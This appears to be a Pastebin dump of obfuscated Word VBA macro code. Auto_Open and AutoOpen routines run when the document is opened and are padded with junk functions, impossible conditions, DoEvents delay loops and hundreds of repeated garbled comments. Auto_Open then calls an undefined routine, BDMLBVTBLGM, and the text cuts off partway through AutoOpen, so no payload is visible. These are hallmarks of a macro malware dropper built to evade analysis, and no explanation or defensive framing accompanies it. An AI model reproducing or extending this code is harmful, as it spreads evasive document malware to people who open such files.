Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- Public Function QmBGkPFckKNMB17() As Integer
- Dim QlHEwpWHgrruq25, GgGdeTYcEVfSh76, EuWVTkPTHPNKW71, yOgaKgjRmiZGk62 As String
- Dim dXlJRImxXhZJw99, LYMliZBIHsrig38, uZibeFFVKVPzh15, yvjlrhCYxkQFG57 As Integer
- dXlJRImxXhZJw99 = 6194
- QlHEwpWHgrruq25 = E
- LYMliZBIHsrig38 = Asc(QlHEwpWHgrruq25)
- If dXlJRImxXhZJw99 > LYMliZBIHsrig38 Then
- For uZibeFFVKVPzh15 = 1 To 31
- yvjlrhCYxkQFG57 = LYMliZBIHsrig38 + uZibeFFVKVPzh15
- Next uZibeFFVKVPzh15
- yvjlrhCYxkQFG57 = yvjlrhCYxkQFG57 + dXlJRImxXhZJw99
- GgGdeTYcEVfSh76 = CStr(yvjlrhCYxkQFG57)
- EuWVTkPTHPNKW71 = Mid$(GgGdeTYcEVfSh76, 1, 4)
- yOgaKgjRmiZGk62 = yOgaKgjRmiZGk62 & "62"
- QmBGkPFckKNMB17 = CInt(Mid$(yOgaKgjRmiZGk62, 2, 6))
- Else
- QmBGkPFckKNMB17 = 31 + 6194
- MsgBox ("tJTDEjSKBykjo92")
- End Function
- Public Function hVKbQynbskORl19() As Integer
- Dim qtqfWPnuezkvH58, gwupruNQfAqiN38, WSlloNGPROyXb24, OmbvCSvMMTNaZ37 As String
- Dim rYBTbJpOngEIw24, kWArMrFqyFHrG55, HyJVzyzVcCZTf59, mCIfjaevXKLcV52 As Integer
- rYBTbJpOngEIw24 = 5369
- qtqfWPnuezkvH58 = u
- kWArMrFqyFHrG55 = Asc(qtqfWPnuezkvH58)
- If rYBTbJpOngEIw24 > kWArMrFqyFHrG55 Then
- For HyJVzyzVcCZTf59 = 1 To 55
- mCIfjaevXKLcV52 = kWArMrFqyFHrG55 + HyJVzyzVcCZTf59
- Next HyJVzyzVcCZTf59
- mCIfjaevXKLcV52 = mCIfjaevXKLcV52 + rYBTbJpOngEIw24
- gwupruNQfAqiN38 = CStr(mCIfjaevXKLcV52)
- WSlloNGPROyXb24 = Mid$(gwupruNQfAqiN38, 1, 4)
- OmbvCSvMMTNaZ37 = OmbvCSvMMTNaZ37 & "25"
- hVKbQynbskORl19 = CInt(Mid$(OmbvCSvMMTNaZ37, 2, 6))
- Else
- hVKbQynbskORl19 = 55 + 5369
- MsgBox ("miUWraxxMUPbb67")
- End Function
- Public Function UNuOKHOsHwIuL24() As Integer
- Dim bNkXQvQYkYlUW81, xYtEQanDzETci21, OQImkgQjOfaKN37, NRrmGcrMeIFrM46 As String
- Dim QclkSdTrTMjjM33, cfHpsNPAvGBXF76, pxZmqFTsXvgez41, wMmYjzYayCjNd25 As Integer
- QclkSdTrTMjjM33 = 7541
- bNkXQvQYkYlUW81 = a
- cfHpsNPAvGBXF76 = Asc(bNkXQvQYkYlUW81)
- If QclkSdTrTMjjM33 > cfHpsNPAvGBXF76 Then
- For pxZmqFTsXvgez41 = 1 To 64
- wMmYjzYayCjNd25 = cfHpsNPAvGBXF76 + pxZmqFTsXvgez41
- Next pxZmqFTsXvgez41
- wMmYjzYayCjNd25 = wMmYjzYayCjNd25 + QclkSdTrTMjjM33
- xYtEQanDzETci21 = CStr(wMmYjzYayCjNd25)
- OQImkgQjOfaKN37 = Mid$(xYtEQanDzETci21, 1, 4)
- NRrmGcrMeIFrM46 = NRrmGcrMeIFrM46 & "38"
- UNuOKHOsHwIuL24 = CInt(Mid$(NRrmGcrMeIFrM46, 2, 6))
- Else
- UNuOKHOsHwIuL24 = 64 + 7541
- MsgBox ("QkqHCSzxePcZK91")
- End Function
- Public Function sUULOqvVKEeEs88() As Integer
- Dim jTgxlYihbghPe24, pdshDfmvvQlUP46, lpIUeEYFHXHUu71, hBSaDiJptKLNq75 As String
- Dim MaACHesIZZNLx58, XUrlwAZFXBcRg22, sLFQlQQRLiJlZ86, OxlBNFGRDtpwm68 As Integer
- MaACHesIZZNLx58 = 3187
- jTgxlYihbghPe24 = q
- XUrlwAZFXBcRg22 = Asc(jTgxlYihbghPe24)
- If MaACHesIZZNLx58 > XUrlwAZFXBcRg22 Then
- For sLFQlQQRLiJlZ86 = 1 To 89
- OxlBNFGRDtpwm68 = XUrlwAZFXBcRg22 + sLFQlQQRLiJlZ86
- Next sLFQlQQRLiJlZ86
- OxlBNFGRDtpwm68 = OxlBNFGRDtpwm68 + MaACHesIZZNLx58
- pdshDfmvvQlUP46 = CStr(OxlBNFGRDtpwm68)
- lpIUeEYFHXHUu71 = Mid$(pdshDfmvvQlUP46, 1, 4)
- hBSaDiJptKLNq75 = hBSaDiJptKLNq75 & "73"
- sUULOqvVKEeEs88 = CInt(Mid$(hBSaDiJptKLNq75, 2, 6))
- Else
- sUULOqvVKEeEs88 = 89 + 3187
- MsgBox ("fuzDvodcPHUnz15")
- End Function
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Sub Auto_Open()
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 586782 = 586782 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 6637 < 81 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim tUgxBHbC As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim WeSYWqCh As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For WeSYWqCh = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next WeSYWqCh
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- tUgxBHbC = 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While tUgxBHbC < 58
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim FJjkbjzI As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For FJjkbjzI = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next FJjkbjzI
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: tUgxBHbC = tUgxBHbC + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim QtzxgRmd As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For QtzxgRmd = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next QtzxgRmd
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim TLYiLPbT As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For TLYiLPbT = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next TLYiLPbT
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("facwvmEU44")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len("XoqUXSeQ3784") = Len("nxuwIiQH") Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim hmWVqRHe As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim AfGwTJaw As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For AfGwTJaw = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next AfGwTJaw
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- hmWVqRHe = 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While hmWVqRHe < 48
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim vIelbLWI As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For vIelbLWI = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next vIelbLWI
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: hmWVqRHe = hmWVqRHe + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim oxaZKiWr As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For oxaZKiWr = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next oxaZKiWr
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ahiBzqFh As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For ahiBzqFh = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next ahiBzqFh
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("Error !!!")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim cEUNlxli As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim RCdUhPZj As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For RCdUhPZj = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next RCdUhPZj
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- cEUNlxli = 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While cEUNlxli < 36
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim BAiBafZu As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For BAiBafZu = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next BAiBafZu
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: cEUNlxli = cEUNlxli + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim VQgcVgNf As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For VQgcVgNf = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next VQgcVgNf
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim kmDRrAYl As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For kmDRrAYl = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next kmDRrAYl
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- BDMLBVTBLGM
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End Sub
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Sub AutoOpen()
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 426546 = 426546 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 5679 < 43 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim koVSeRjr As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim DWXMPzVF As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For DWXMPzVF = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next DWXMPzVF
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- koVSeRjr = 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While koVSeRjr < 22
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim PqTiVyti As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For PqTiVyti = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next PqTiVyti
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: koVSeRjr = koVSeRjr + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim wNEjjwtE As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For wNEjjwtE = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next wNEjjwtE
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim TLRsYwla As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For TLRsYwla = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next TLRsYwla
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("btxnTqMJ65")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len("KuUWXLFS3636") = Len("eTIkCIIo") Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim GxhldSSq As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim yQGlHWRo As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For yQGlHWRo = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next yQGlHWRo
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- GxhldSSq = 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While GxhldSSq < 27
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim EaBOcliD As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For EaBOcliD = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next EaBOcliD
